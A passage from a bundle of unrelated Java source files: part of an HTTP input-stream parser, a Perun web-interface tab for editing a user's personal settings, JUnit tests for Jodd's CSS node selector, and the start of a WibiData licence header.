if ((mTransferEncoding != null) && "chunked".equals(mTransferEncoding.toLowerCase()))
{
mChunked = true;
}
}
// Accept-Encoding
else if ("accept-encoding".equals(name))
{
String accepts = header.getValue();
String[] accepted = accepts.split(",");
for (String accept : accepted)
{
String encoding = accept.trim().toLowerCase();
mAcceptEncoding.put(encoding, encoding);
}
}
// Content-Encoding
else if ("content-encoding".equals(name))
{
mContentEncoding = header.getValue();
if (mContentEncoding != null)
{
mContentEncoding = mContentEncoding.toLowerCase();
}
}
}
}
/**
*
* @throws IOException
*/
private void createContentStream() throws IOException
{
getHeaders();
// build raw content stream
if (mContentLength != null)
{
mContent = new FixedLengthStream(in, mPushChar, mContentLength.longValue());
}
else if (mChunked)
{
mContent = new ChunkedStream(in, mPushChar);
}
else
{
mContent = EmptyInputStream.INSTANCE;
}
// check for compression stream
if (mContentEncoding != null)
{
if ("gzip".equals(mContentEncoding))
{
mContent = new GZIPInputStream(mContent);
}
else
{
throw new HTTPException("Unsupported content encoding: " + mContentEncoding);
}
}
}
/**
* Wrap the underlying stream.
*
* @param source
*/
public HTTPInputStream(InputStream source)
{
super(source);
}
/**
* Read a line of input.
*
* @return
* @throws IOException
*/
public String readLine() throws IOException
{
StringBuilder builder = new StringBuilder();
int c;
// read until end of stream or line delimiter.
for (;;)
{
c = (mPushChar >= 0) ? mPushChar : in.read(); // get next char
mPushChar = -1;
if ((c < 0) || (c == '\n') || (c == '\r')) break;
// otherwise, append a character
builder.append((char) c);
if (builder.length() > SIZE_LIMIT) throw new HTTPException("Line exceeds maximum length of " + SIZE_LIMIT);
}
// fully read EOL
if (c > 0)
{
int next = in.read();
if (next >= 0)
{
if ((c == '\n') && (next == '\r'))
{
// line complete
}
else if ((c == '\r') && (next == '\n'))
{
// line complete
}
else
{
mPushChar = next; // it was an overread
}
}
}
else
{
if (builder.length() == 0) return null;
}
return builder.toString();
}
/**
* Get the request line.
*
* @return
* @throws IOException
*/
public HTTPRequestLine getRequestLine() throws IOException
{
if (mRequestLine == null) readRequestLine();
return mRequestLine;
}
/**
* Get the request headers.
*
* @return
* @throws IOException
*/
public HTTPHeaders getHeaders() throws IOException
{
if (mHeaders == null) readHeaders();
return mHeaders;
}
/**
* Get the content length if specified in the headers.
*
* @return
* @throws IOException
*/
public Long getContentLength() throws IOException
{
getHeaders();
return mContentLength;
}
/**
* Determine if an encoding is accepted.
*
* @param encoding
* @return
* @throws IOException
*/
public boolean isAcceptEncoding(String encoding) throws IOException
{
getHeaders();
return mAcceptEncoding.containsKey(encoding.toLowerCase());
}
@Override
public void close() throws IOException
{
IOUtils.close(mContent);
super.close();
}
@Override
public boolean markSupported()
{
return false;
}
@Override
public synchronized void mark(int readlimit)
{
throw new RuntimeException("mark() not supported on this stream");
}
@Override
public long skip(long n) throws IOException
{
if (mContent == null) createContentStream();
return mContent.skip(n);
}
@Override
public int available() throws IOException
{
if (mContent == null) createContentStream();
return mContent.available();
}
@Override
public synchronized void reset() throws IOException
{
throw new RuntimeException("reset() not supported");
}
@Override
public int read() throws IOException
{
if (mContent == null) createContentStream();
return mContent.read();
}
@Override
public int read(byte[] b) throws IOException
{
if (mContent == null) createContentStream();
return mContent.read(b);
}
@Override
public int read(byte[] b, int off, int len) throws IOException
{
if (mContent == null) createContentStream();
return mContent.read(b, off, len);
}
}
| |
package cz.metacentrum.perun.webgui.tabs.userstabs;
import com.google.gwt.core.client.JavaScriptObject;
import com.google.gwt.core.client.Scheduler;
import com.google.gwt.event.dom.client.ClickEvent;
import com.google.gwt.event.dom.client.ClickHandler;
import com.google.gwt.resources.client.ImageResource;
import com.google.gwt.user.client.Command;
import com.google.gwt.user.client.ui.*;
import cz.metacentrum.perun.webgui.client.PerunWebSession;
import cz.metacentrum.perun.webgui.client.resources.*;
import cz.metacentrum.perun.webgui.json.GetEntityById;
import cz.metacentrum.perun.webgui.json.JsonCallbackEvents;
import cz.metacentrum.perun.webgui.json.JsonUtils;
import cz.metacentrum.perun.webgui.json.attributesManager.GetListOfAttributes;
import cz.metacentrum.perun.webgui.json.attributesManager.SetAttributes;
import cz.metacentrum.perun.webgui.json.usersManager.GetPendingPreferredEmailChanges;
import cz.metacentrum.perun.webgui.json.usersManager.RequestPreferredEmailChange;
import cz.metacentrum.perun.webgui.model.*;
import cz.metacentrum.perun.webgui.tabs.TabItem;
import cz.metacentrum.perun.webgui.tabs.cabinettabs.AddPublicationsTabItem;
import cz.metacentrum.perun.webgui.widgets.*;
import cz.metacentrum.perun.webgui.widgets.CustomButton;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;
/**
* Tab with user's personal settings (personal info, contacts)
*
* @author Pavel Zlamal <256627&mail.muni.cz>
*/
public class SelfPersonalTabItem implements TabItem {
PerunWebSession session = PerunWebSession.getInstance();
private SimplePanel contentWidget = new SimplePanel();
private Label titleWidget = new Label("Loading user");
private User user;
private int userId;
private ArrayList<Attribute> userAttrs = new ArrayList<Attribute>();
String resultText = "";
ArrayList<String> emails = new ArrayList<String>();
private TabPanelForTabItems tabPanel;
/**
* Creates a tab instance
*/
public SelfPersonalTabItem(){
this.user = session.getActiveUser();
this.userId = user.getId();
}
/**
* Creates a tab instance with custom user
* @param user
*/
public SelfPersonalTabItem(User user){
this.user = user;
this.userId = user.getId();
}
/**
* Creates a tab instance with custom user
* @param userId
*/
public SelfPersonalTabItem(int userId) {
this.userId = userId;
new GetEntityById(PerunEntity.USER, userId, new JsonCallbackEvents(){
public void onFinished(JavaScriptObject jso) {
user = jso.cast();
}
}).retrieveData();
}
public boolean isPrepared(){
return !(user == null);
}
public Widget draw() {
// content
final ScrollPanel sp = new ScrollPanel();
sp.setSize("100%", "100%");
sp.setStyleName("perun-tableScrollPanel");
session.getUiElements().resizeSmallTabPanel(sp, 350, this);
HorizontalPanel horizontalSplitter = new HorizontalPanel();
horizontalSplitter.setStyleName("perun-table");
horizontalSplitter.setSize("100%", "100%");
final VerticalPanel leftPanel = new VerticalPanel();
final VerticalPanel rightPanel = new VerticalPanel();
horizontalSplitter.add(leftPanel);
horizontalSplitter.add(rightPanel);
horizontalSplitter.setCellWidth(leftPanel, "50%");
horizontalSplitter.setCellWidth(rightPanel, "50%");
sp.setWidget(horizontalSplitter);
FlexTable quickHeader = new FlexTable();
quickHeader.setWidget(0, 0, new Image(LargeIcons.INSTANCE.directionIcon()));
quickHeader.setHTML(0, 1, "<p class=\"subsection-heading\">Quick links</p>");
FlexTable prefHeader = new FlexTable();
prefHeader.setWidget(0, 0, new Image(LargeIcons.INSTANCE.settingToolsIcon()));
prefHeader.setHTML(0, 1, "<p class=\"subsection-heading\">Global settings</p>");
leftPanel.add(quickHeader);
rightPanel.add(prefHeader);
// widgets
final ExtendedTextBox preferredEmail = new ExtendedTextBox();
preferredEmail.getTextBox().setWidth("300px");
preferredEmail.setWidth("300px");
final ListBox preferredLanguage = new ListBox();
preferredLanguage.addItem("Not selected", "");
if (!Utils.getNativeLanguage().isEmpty()) {
preferredLanguage.addItem(Utils.getNativeLanguage().get(2), Utils.getNativeLanguage().get(0));
}
preferredLanguage.addItem("English", "en");
final ListBox timezone = new ListBox();
timezone.addItem("Not set", "null");
for (String zone : Utils.getTimezones()){
timezone.addItem(zone, zone);
}
final PreferredShellsWidget preferredShellsWidget = new PreferredShellsWidget();
final PreferredUnixGroupNameWidget preferredUnixGroupNameWidget = new PreferredUnixGroupNameWidget();
// content
final FlexTable settingsTable = new FlexTable();
settingsTable.setStyleName("inputFormFlexTableDark");
settingsTable.setHTML(1, 0, "Preferred mail:");
settingsTable.setWidget(1, 1, preferredEmail);
settingsTable.getFlexCellFormatter().setRowSpan(1, 0, 2);
settingsTable.setHTML(2, 0, "");
settingsTable.setHTML(3, 0, "Preferred language:");
settingsTable.setWidget(3, 1, preferredLanguage);
settingsTable.setHTML(4, 0, "Timezone:");
settingsTable.setWidget(4, 1, timezone);
settingsTable.setHTML(5, 0, "Preferred shells:");
settingsTable.setWidget(5, 1, preferredShellsWidget);
settingsTable.getFlexCellFormatter().setRowSpan(5, 0, 2);
settingsTable.setHTML(6, 0, "List of preferred shells ordered from the most preferred to least is used to determine your shell on provided resources. If none of preferred shells is available on resource (or no preferred shell is set), resource's default is used.");
settingsTable.getFlexCellFormatter().setStyleName(6, 0, "inputFormInlineComment");
settingsTable.setHTML(7, 0, "Preferred unix groups names:");
for (int i=1; i<settingsTable.getRowCount(); i++) {
if (i == 2 || i == 6) continue;
settingsTable.getFlexCellFormatter().addStyleName(i, 0, "itemName");
}
// SET SAVE CLICK HANDLER
final CustomButton save = TabMenu.getPredefinedButton(ButtonType.SAVE, "Save changes in preferences");
//TabMenu menu = new TabMenu();
//menu.addWidget(save);
settingsTable.setWidget(0, 0, save);
final GetListOfAttributes attrsCall = new GetListOfAttributes();
// list of wanted attributes
final ArrayList<String> list = new ArrayList<String>();
list.add("urn:perun:user:attribute-def:def:preferredLanguage");
list.add("urn:perun:user:attribute-def:def:preferredMail");
list.add("urn:perun:user:attribute-def:def:timezone");
list.add("urn:perun:user:attribute-def:def:preferredShells");
for (String s : Utils.getNamespacesForPreferredGroupNames()) {
list.add("urn:perun:user:attribute-def:def:preferredUnixGroupName-namespace:"+s);
}
final Map<String,Integer> ids = new HashMap<String,Integer>();
ids.put("user", userId);
save.addClickHandler(new ClickHandler(){
public void onClick(ClickEvent event) {
ArrayList<Attribute> toSend = new ArrayList<Attribute>(); // will be set
for (final Attribute a : userAttrs) {
String oldValue = a.getValue();
String newValue = "";
if (a.getFriendlyName().equalsIgnoreCase("preferredLanguage")) {
newValue = preferredLanguage.getValue(preferredLanguage.getSelectedIndex());
} else if (a.getFriendlyName().equalsIgnoreCase("timezone")) {
newValue = timezone.getValue(timezone.getSelectedIndex());
} else if (a.getFriendlyName().equalsIgnoreCase("preferredMail")) {
newValue = preferredEmail.getTextBox().getValue().trim();
} else if (a.getFriendlyName().equalsIgnoreCase("preferredShells")) {
String s = preferredShellsWidget.getAttribute().getValue();
newValue = (!s.equalsIgnoreCase("null")) ? s : "";
} else if (a.getBaseFriendlyName().equals("preferredUnixGroupName-namespace")) {
String s = preferredUnixGroupNameWidget.getAttribute(a.getName()).getValue();
newValue = (!s.equalsIgnoreCase("null")) ? s : "";
} else {
continue; // other than contact attributes must be skipped
}
if (oldValue.equals(newValue) || (oldValue.equalsIgnoreCase("null") && ("").equals(newValue))) {
// if both values are the same or both are "empty"
continue; // skip this cycle
} else {
if (("").equals(newValue) || ("null").equals(newValue)) {
Attribute newA = JsonUtils.clone(a).cast();
newA.setValueAsJso(null); // set value
toSend.add(newA); // value was cleared
// preferred email can't be ever removed from here
} else {
if (a.getFriendlyName().equalsIgnoreCase("preferredMail")) {
RequestPreferredEmailChange call = new RequestPreferredEmailChange(JsonCallbackEvents.disableButtonEvents(save));
call.requestChange(user, newValue);
} else {
Attribute newA = JsonUtils.clone(a).cast();
newA.setValue(newValue); // set value
toSend.add(newA); // value was changed / added
}
}
}
}
// ids
Map<String, Integer> localIds = new HashMap<String, Integer>();
localIds.put("user", userId);
// requests
SetAttributes request = new SetAttributes(JsonCallbackEvents.disableButtonEvents(save, new JsonCallbackEvents(){
@Override
public void onFinished(JavaScriptObject jso) {
attrsCall.getListOfAttributes(ids, list);
}
}));
// send if not empty
if (!toSend.isEmpty()) {
request.setAttributes(localIds, toSend);
}
}
});
// GET USER ATTRIBUTES BY NAME
attrsCall.setEvents(new JsonCallbackEvents(){
@Override
public void onFinished(JavaScriptObject jso) {
userAttrs = JsonUtils.jsoAsList(jso);
settingsTable.setWidget(1, 1, preferredEmail);
settingsTable.setWidget(3, 1, preferredLanguage);
settingsTable.setWidget(4, 1, timezone);
settingsTable.setWidget(5, 1, preferredShellsWidget);
settingsTable.setWidget(7, 1, preferredUnixGroupNameWidget);
// clear on re-init
preferredUnixGroupNameWidget.clear();
for (final Attribute a : userAttrs) {
if (a.getValue() == null || a.getValue().equalsIgnoreCase("null")) {
if (a.getFriendlyName().equalsIgnoreCase("preferredShells")) {
// don't skip this null attribute
preferredShellsWidget.setAttribute(a);
}
if (a.getBaseFriendlyName().equalsIgnoreCase("preferredUnixGroupName-namespace")) {
// don't skip this null attribute
preferredUnixGroupNameWidget.setAttribute((Attribute)JsonUtils.clone(a).cast());
}
// skip null attributes
continue;
}
if (a.getBaseFriendlyName().equalsIgnoreCase("preferredUnixGroupName-namespace")) {
// don't skip this null attribute
preferredUnixGroupNameWidget.setAttribute((Attribute)JsonUtils.clone(a).cast());
} else if (a.getFriendlyName().equalsIgnoreCase("preferredLanguage")) {
if (!Utils.getNativeLanguage().isEmpty() && a.getValue().equals(Utils.getNativeLanguage().get(0))) {
preferredLanguage.setSelectedIndex(1);
} else if (a.getValue().equals("en")) {
preferredLanguage.setSelectedIndex(2);
}
} else if (a.getFriendlyName().equalsIgnoreCase("preferredMail")) {
preferredEmail.getTextBox().setText(a.getValue());
// display notice if there is any valid pending change request
GetPendingPreferredEmailChanges get = new GetPendingPreferredEmailChanges(user.getId(), new JsonCallbackEvents(){
@Override
public void onFinished(JavaScriptObject jso) {
//save.setEnabled(true);
// process returned value
if (jso != null) {
BasicOverlayType basic = jso.cast();
emails = basic.getListOfStrings();
if (!emails.isEmpty()) {
for (String s : emails) {
if (!s.equals(preferredEmail.getTextBox().getText().trim())) {
resultText += s+", ";
}
}
if (resultText.length() >= 2) resultText = resultText.substring(0, resultText.length()-2);
settingsTable.setHTML(2, 0, "You have pending change request. Please check inbox of: "+resultText+" for validation email.");
settingsTable.getFlexCellFormatter().setStyleName(2, 0, "inputFormInlineComment serverResponseLabelError");
}
}
// set validator with respect to returned values
preferredEmail.setValidator(new ExtendedTextBox.TextBoxValidator() {
@Override
public boolean validateTextBox() {
if (preferredEmail.getTextBox().getText().trim().isEmpty()) {
preferredEmail.setError("Preferred email address can't be empty.");
return false;
} else if (!JsonUtils.isValidEmail(preferredEmail.getTextBox().getText().trim())) {
preferredEmail.setError("Not valid email address format.");
return false;
}
// update notice under textbox on any cut/past/type action
if (!preferredEmail.getTextBox().getText().trim().equals(a.getValue())) {
settingsTable.setHTML(2, 0, "No changes are saved, until new address is validated. After change please check your inbox for validation mail." +
((!resultText.isEmpty()) ? "<p><span class=\"serverResponseLabelError\">You have pending change request. Please check inbox of: "+resultText+" for validation email.</span>" : ""));
settingsTable.getFlexCellFormatter().setStyleName(2, 0, "inputFormInlineComment");
} else {
settingsTable.setHTML(2, 0, (!resultText.isEmpty()) ? "You have pending change request. Please check inbox of: "+resultText+" for validation email." : "");
settingsTable.getFlexCellFormatter().setStyleName(2, 0, "inputFormInlineComment serverResponseLabelError");
}
preferredEmail.setOk();
return true;
}
});
}
@Override
public void onError(PerunError error) {
//save.setEnabled(true);
// add basic validator even if there is any error
preferredEmail.setValidator(new ExtendedTextBox.TextBoxValidator() {
@Override
public boolean validateTextBox() {
if (preferredEmail.getTextBox().getText().trim().isEmpty()) {
preferredEmail.setError("Preferred email address can't be empty.");
return false;
} else if (!JsonUtils.isValidEmail(preferredEmail.getTextBox().getText().trim())) {
preferredEmail.setError("Not valid email address format.");
return false;
} else {
preferredEmail.setOk();
return true;
}
}
});
}
@Override
public void onLoadingStart() {
//save.setEnabled(false);
}
});
get.retrieveData();
} else if (a.getFriendlyName().equalsIgnoreCase("timezone")) {
for (int i=0; i<timezone.getItemCount(); i++) {
if (timezone.getValue(i).equals(a.getValue())) {
timezone.setSelectedIndex(i);
}
}
} else if (a.getFriendlyName().equalsIgnoreCase("preferredShells")) {
// set attribute and display value
preferredShellsWidget.setAttribute(a);
}
}
}
@Override
public void onLoadingStart() {
settingsTable.setWidget(1, 1, new AjaxLoaderImage(true));
settingsTable.setWidget(3, 1, new AjaxLoaderImage(true));
settingsTable.setWidget(4, 1, new AjaxLoaderImage(true));
settingsTable.setWidget(5, 1, new AjaxLoaderImage(true));
settingsTable.setWidget(7, 1, new AjaxLoaderImage(true));
}
@Override
public void onError(PerunError error) {
settingsTable.setWidget(1, 1, new AjaxLoaderImage(true).loadingError(error));
settingsTable.setWidget(3, 1, new AjaxLoaderImage(true).loadingError(error));
settingsTable.setWidget(4, 1, new AjaxLoaderImage(true).loadingError(error));
settingsTable.setWidget(5, 1, new AjaxLoaderImage(true).loadingError(error));
settingsTable.setWidget(7, 1, new AjaxLoaderImage(true).loadingError(error));
}
});
attrsCall.getListOfAttributes(ids, list);
FlexTable quickLinks = new FlexTable();
quickHeader.setStyleName("inputFormFlexTable");
String span = "<span style=\"font-weight: bold; padding-left: 25px; line-height: 2;\">";
Anchor name = new Anchor(span+"Edit name titles</span>", true);
name.addClickHandler(new ClickHandler() {
@Override
public void onClick(ClickEvent event) {
session.getTabManager().addTabToCurrentTab(new EditUserDetailsTabItem(user, new JsonCallbackEvents(){
@Override
public void onFinished(JavaScriptObject jso) {
// refresh parent tab
SelfDetailTabItem item = (SelfDetailTabItem)session.getTabManager().getActiveTab();
item.setUser((User)jso);
item.open();
item.draw();
}
}));
}
});
quickLinks.setWidget(0, 0, name);
Anchor password = new Anchor(span+"Change / reset password</span>", true);
password.addClickHandler(new ClickHandler() {
@Override
public void onClick(ClickEvent event) {
tabPanel.selectTab(tabPanel.getSelectedIndex()+3);
}
});
quickLinks.setWidget(1, 0, password);
Anchor cert = new Anchor(span+"<a href=\""+ Utils.getIdentityConsolidatorLink(false)+"\" target=\"_blank\">Add certificate</a></span>", true);
quickLinks.setWidget(2, 0, cert);
Anchor ssh = new Anchor(span+"Manage SSH keys</span>", true);
ssh.addClickHandler(new ClickHandler() {
@Override
public void onClick(ClickEvent event) {
tabPanel.selectTab(tabPanel.getSelectedIndex()+3);
}
});
quickLinks.setWidget(3, 0, ssh);
Anchor report = new Anchor(span+"Report new publication</span>", true);
report.addClickHandler(new ClickHandler() {
@Override
public void onClick(ClickEvent event) {
session.getTabManager().addTab(new AddPublicationsTabItem(user));
}
});
quickLinks.setWidget(4, 0, report);
Anchor request = new Anchor(span+"Request data/files quota change</span>", true);
request.addClickHandler(new ClickHandler() {
@Override
public void onClick(ClickEvent event) {
tabPanel.selectTab(tabPanel.getSelectedIndex() + 2);
}
});
quickLinks.setWidget(5, 0, request);
if (session.getEditableUsers().size() > 1) {
Anchor serv = new Anchor(span+"Manage service identities</span>", true);
serv.addClickHandler(new ClickHandler() {
@Override
public void onClick(ClickEvent event) {
tabPanel.selectTab(tabPanel.getSelectedIndex()+6);
}
});
quickLinks.setWidget(6, 0, serv);
}
rightPanel.add(settingsTable);
leftPanel.add(quickLinks);
Scheduler.get().scheduleDeferred(new Command() {
@Override
public void execute() {
sp.scrollToTop();
}
});
this.contentWidget.setWidget(sp);
return getWidget();
}
public Widget getWidget() {
return this.contentWidget;
}
public Widget getTitle() {
return this.titleWidget;
}
public ImageResource getIcon() {
return SmallIcons.INSTANCE.userGrayIcon();
}
public void setParentPanel(TabPanelForTabItems panel) {
this.tabPanel = panel;
}
@Override
public int hashCode() {
final int prime = 1567;
int result = 432;
result = prime * result * userId;
return result;
}
@Override
public boolean equals(Object obj) {
if (this == obj)
return true;
if (obj == null)
return false;
if (getClass() != obj.getClass())
return false;
if (this.userId != ((SelfPersonalTabItem)obj).userId)
return false;
return true;
}
public boolean multipleInstancesEnabled() {
return false;
}
public void open() {}
public boolean isAuthorized() {
if (session.isSelf(userId)) {
return true;
} else {
return false;
}
}
}
| |
// Copyright (c) 2003-present, Jodd Team (http://jodd.org)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
package jodd.lagarto.dom;
import jodd.csselly.CSSelly;
import jodd.csselly.CssSelector;
import jodd.io.FileUtil;
import org.junit.Before;
import org.junit.Test;
import java.io.File;
import java.io.IOException;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import static org.junit.Assert.*;
public class NodeSelectorTest {
protected String testDataRoot;
@Before
public void setUp() throws Exception {
if (testDataRoot != null) {
return;
}
URL data = NodeSelectorTest.class.getResource("test");
testDataRoot = data.getFile();
}
@Test
public void testTags() throws IOException {
NodeSelector nodeSelector = createNodeFilter();
List<Node> nodes = nodeSelector.select("div");
assertEquals(5, nodes.size());
nodes = nodeSelector.select("body");
assertEquals(1, nodes.size());
assertEquals("body", nodes.get(0).getNodeName());
nodes = nodeSelector.select("p");
assertEquals(4, nodes.size());
}
@Test
public void testMoreTags() throws IOException {
NodeSelector nodeSelector = createNodeFilter();
List<Node> nodes = nodeSelector.select("div b");
assertEquals(1, nodes.size());
assertEquals("b", nodes.get(0).getNodeName());
assertEquals("p", nodes.get(0).getParentNode().getNodeName());
nodes = nodeSelector.select("p b");
assertEquals(4, nodes.size());
nodes = nodeSelector.select("div div");
assertEquals(3, nodes.size());
nodes = nodeSelector.select("div div div");
assertEquals(2, nodes.size());
nodes = nodeSelector.select("* div div div");
assertEquals(2, nodes.size());
}
@Test
public void testIdClass() throws IOException {
NodeSelector nodeSelector = createNodeFilter();
List<Node> nodes = nodeSelector.select("div#fiona");
assertEquals(1, nodes.size());
assertEquals("fiona", nodes.get(0).getAttribute("id"));
nodes = nodeSelector.select("div#fiona div#jodd");
assertEquals(1, nodes.size());
assertEquals("jodd", nodes.get(0).getAttribute("id"));
nodes = nodeSelector.select("div.k1");
assertEquals(1, nodes.size());
nodes = nodeSelector.select("div.k2");
assertEquals(2, nodes.size());
nodes = nodeSelector.select("div.k1.k2");
assertEquals(1, nodes.size());
nodes = nodeSelector.select(".k1.k2");
assertEquals(1, nodes.size());
nodes = nodeSelector.select("p em");
assertEquals(5, nodes.size());
nodes = nodeSelector.select("p * em");
assertEquals(2, nodes.size());
}
@Test
public void testAttributes() throws IOException {
NodeSelector nodeSelector = createNodeFilter();
List<Node> nodes = nodeSelector.select("div[id]");
assertEquals(2, nodes.size());
nodes = nodeSelector.select("html body div[id] div#jodd");
assertEquals(1, nodes.size());
nodes = nodeSelector.select("div[id*=ion]");
assertEquals(1, nodes.size());
nodes = nodeSelector.select("div[id*=o]");
assertEquals(2, nodes.size());
nodes = nodeSelector.select("div[id$=odd]");
assertEquals(1, nodes.size());
nodes = nodeSelector.select("div[id$=od]");
assertEquals(0, nodes.size());
nodes = nodeSelector.select("div[id^=jo]");
assertEquals(1, nodes.size());
nodes = nodeSelector.select("div[id^=od]");
assertEquals(0, nodes.size());
nodes = nodeSelector.select("[lang|=en]");
assertEquals(1, nodes.size());
assertEquals("h1", nodes.get(0).getNodeName());
nodes = nodeSelector.select("[class~=k1]");
assertEquals(1, nodes.size());
nodes = nodeSelector.select("[class~=k2]");
assertEquals(2, nodes.size());
nodes = nodeSelector.select("[class~=k2][class~=k1]");
assertEquals(1, nodes.size());
}
@Test
public void testCombinators() throws IOException {
NodeSelector nodeSelector = createNodeFilter();
List<Node> nodes = nodeSelector.select("p#text > span");
assertEquals(1, nodes.size());
Node spanNode = nodes.get(0);
assertEquals("spanner", (spanNode.getChild(0)).getNodeValue());
nodes = nodeSelector.select("p#text > em");
assertEquals(3, nodes.size());
nodes = nodeSelector.select("p#text > em#oleg + em");
assertEquals(0, nodes.size());
nodes = nodeSelector.select("p#text > em#oleg + span");
assertEquals(1, nodes.size());
assertEquals("spanner", (nodes.get(0).getChild(0)).getNodeValue());
nodes = nodeSelector.select("p#text > em#oleg ~ em");
assertEquals(1, nodes.size());
assertEquals("lina", nodes.get(0).getAttribute(0).getValue());
}
@Test
public void testPseudoClasses() throws IOException {
NodeSelector nodeSelector = createNodeFilter();
List<Node> nodes = nodeSelector.select("p#text > em:first-child");
assertEquals(1, nodes.size());
assertEquals("ema", nodes.get(0).getAttribute(0).getValue());
nodes = nodeSelector.select("p#text em:first-child");
assertEquals(3, nodes.size());
nodes = nodeSelector.select("p#text > em:last-child");
assertEquals(1, nodes.size());
nodes = nodeSelector.select("p#text em:last-child");
assertEquals(2, nodes.size());
nodes = nodeSelector.select("em:only-child");
assertEquals(1, nodes.size());
assertEquals("Sanja", (nodes.get(0).getFirstChild()).getNodeValue());
nodes = nodeSelector.select("em:first-child:last-child");
assertEquals(1, nodes.size());
assertEquals("Sanja", (nodes.get(0).getFirstChild()).getNodeValue());
nodes = nodeSelector.select("b:first-of-type");
assertEquals(3, nodes.size());
nodes = nodeSelector.select("p#text b:first-of-type");
assertEquals(1, nodes.size());
nodes = nodeSelector.select("p#text b:last-of-type");
assertEquals(1, nodes.size());
nodes = nodeSelector.select("p:root");
assertEquals(0, nodes.size());
nodes = nodeSelector.select("html:root");
assertEquals(1, nodes.size());
nodes = nodeSelector.select(":empty");
assertEquals(2, nodes.size());
nodes = nodeSelector.select("b span:only-of-type");
assertEquals(1, nodes.size());
assertEquals("framework", (nodes.get(0).getFirstChild()).getNodeValue());
}
@Test
public void testPseudoFunctions() throws IOException {
NodeSelector nodeSelector = createNodeFilter();
List<Node> nodes = nodeSelector.select("p#text > em:nth-child(2n+1)");
assertEquals(2, nodes.size());
nodes = nodeSelector.select("p#text em:nth-child(2n+1)");
assertEquals(4, nodes.size());
nodes = nodeSelector.select("p#text > em:nth-last-child(2n+1)");
assertEquals(1, nodes.size());
assertEquals("lina", (nodes.get(0)).getAttribute("id"));
nodes = nodeSelector.select("p#text em:nth-last-child(2n+1)");
assertEquals(2, nodes.size());
nodes = nodeSelector.select("p#text em:nth-of-type(odd)");
assertEquals(4, nodes.size());
nodes = nodeSelector.select("p#text em:nth-of-type(even)");
assertEquals(1, nodes.size());
nodes = nodeSelector.select("p#text em:nth-last-of-type(odd)");
assertEquals(4, nodes.size());
nodes = nodeSelector.select("p#text em:nth-last-of-type(even)");
assertEquals(1, nodes.size());
}
@Test
public void testDuplicatesRemoval() throws IOException {
NodeSelector nodeSelector = createNodeFilter();
List<Node> nodes = nodeSelector.select("div div");
assertEquals(3, nodes.size());
}
@Test
public void testNodeSelector() throws IOException {
NodeSelector nodeSelector = createNodeFilter();
List<Node> nodes = nodeSelector.select(new NodeFilter() {
public boolean accept(Node node) {
if (node.getNodeType() != Node.NodeType.ELEMENT) {
return false;
}
if ("ema".equals(node.getAttribute("id"))) {
return true;
}
if ("lina".equals(node.getAttribute("id"))) {
return true;
}
return false;
}
});
assertEquals(2, nodes.size());
}
@Test
public void testTwoHtml() throws IOException {
File file = new File(testDataRoot, "two.html");
String htmlContent = FileUtil.readString(file);
Document document = new LagartoDOMBuilder().parse(htmlContent);
Node html = new NodeSelector(document).select("html").get(0);
assertNotNull(html);
Node body = new NodeSelector(html).selectFirst("body");
Element h1 = body.getFirstChildElement();
assertEquals("h1", h1.getNodeName());
Node comment1 = body.getFirstChild().getNextSibling();
assertEquals(Node.NodeType.COMMENT, comment1.getNodeType());
Element p = (Element) new NodeSelector(body).selectFirst("p");
assertEquals(h1, p.getPreviousSiblingElement());
assertEquals(h1, comment1.getNextSiblingElement());
assertNull(comment1.getNextSiblingName());
// check if filter works just for sub elements
List<Node> p_ems = new NodeSelector(p).select("em");
assertEquals(1, p_ems.size());
Element script = (Element) new NodeSelector(html).selectFirst("script");
assertEquals("text/javascript", script.getAttribute("type"));
assertTrue(document.check());
}
@Test
public void testGroupOfSelectors() throws IOException {
File file = new File(testDataRoot, "one.html");
String htmlContent = FileUtil.readString(file);
Document document = new LagartoDOMBuilder().parse(htmlContent);
List<Node> nodes = new NodeSelector(document).select("em, b, b");
assertEquals(9, nodes.size());
assertTrue(document.check());
}
@Test
public void testClassWithTabs() throws IOException {
File file = new File(testDataRoot, "class-tabs.html");
String htmlContent = FileUtil.readString(file);
Document document = new LagartoDOMBuilder().parse(htmlContent);
List<Node> nodes = new NodeSelector(document).select(".hey");
assertEquals(1, nodes.size());
Node n = nodes.get(0);
assertEquals("div", n.getNodeName());
assertEquals("jodd", n.getAttribute("id"));
}
@Test
public void testCollectionOfSelectors() throws IOException {
NodeSelector nodeSelector = createNodeFilter();
List<CssSelector> selectors1 = new CSSelly("body").parse();
List<CssSelector> selectors2 = new CSSelly("p").parse();
List<List<CssSelector>> collection = new ArrayList<>();
collection.add(selectors1);
collection.add(selectors2);
List<Node> nodes = nodeSelector.select(collection);
assertEquals(5, nodes.size());
assertEquals("body", nodes.get(0).nodeName);
}
// ---------------------------------------------------------------- utils
private NodeSelector createNodeFilter() throws IOException {
File file = new File(testDataRoot, "one.html");
String html = FileUtil.readString(file);
return new NodeSelector(new LagartoDOMBuilder().parse(html));
}
}
| |
/**
* (c) Copyright 2012 WibiData, Inc.
*
* See the NOTICE file distributed with this work for additional
* information regarding copyright ownership.
*
